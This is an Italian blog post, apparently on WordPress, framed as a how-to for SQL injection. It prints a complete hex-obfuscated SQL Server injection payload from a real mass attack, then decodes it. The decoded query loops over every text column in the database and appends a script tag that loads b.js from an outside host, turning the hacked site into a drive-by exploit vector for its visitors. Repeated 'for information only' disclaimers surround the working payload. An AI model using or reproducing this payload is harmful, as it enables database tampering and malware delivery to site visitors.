Com fare un sql injection

Ecco un esempio di Sql injection per SQL Server, che viene aggiunta alla fine di una URL dinamica. Ovviamente effettuare tale procedura è illegale e non dovete provare a farla poichè è solo a scopo informativo 

Sql server injection

Il codice da iniettare nell’URL dinamica.SOLO A SCOPO INFORMATIVO 

DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C
404320564152434841522832353529204445434C415245205461626C655
F437572736F7220435552534F5220464F522053454C45435420612E6E6
16D652C622E6E616D652046524F4D207379736F626A6563747320612C7
37973636F6C756D6E73206220574845524520612E69643D622E6964204
14E4420612E78747970653D27752720414E442028622E78747970653D39
39204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F
437572736F72204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C4043205748494C45284040464554
43485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D5254524
94D28434F4E5645525428564152434841522834303030292C5B272B404
32B275D29292B27273C736372697074207372633D687474703A2F2F7777
772E61647739352E636F6D2F622E6A733E3C2F7363726970743E272727
29204645544348204E4558542046524F4D205461626C655F437572736F
7220494E544F2040542C404320454E4420434C4F5345205461626C655
F437572736F72204445414C4C4F43415445205461626C655F437572736
F7220 AS VARCHAR(4000));
EXEC(@S)

Si tratta di una injection utilizzata durante un attacco reale ad un noto sito italiano ed a molti altri siti in rete.

Come vedete, prima si dichiara una variabile, poi la si inizializza con il valore 0x4445434C41524520…ma cosa significa? Si tratta di un valore espresso nel sistema numerico esadecimale (identificato dal prefisso ‘0x’), che dopo il cast in varchar svela la sua vera natura: è una query per Sql Server.

La Query che verrà eseguita.NON RICORDO SE L’HO DETTO è SOLO A SCOPO INFORMATIVO !!!

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''< scri pt src=http://www.ad w95.com/b.js>‘'’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Questa query modifica tutte le colonne del database, aggiungendo il seguente script:

< scri pt src=http://www.ad w95.com/b.js>

Che, stampato nelle pagine dei siti compromessi, sfrutterà eventuali bug del browser del malcapitato utente.

Disclaimer.

Tutte le informazioni e le tecniche sono state descritte solo per fini educativi e qualsiasi uso malizioso di queste informazioni è illegale e fortemente scoraggiato.


Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...

%d blogger cliccano Mi Piace per questo: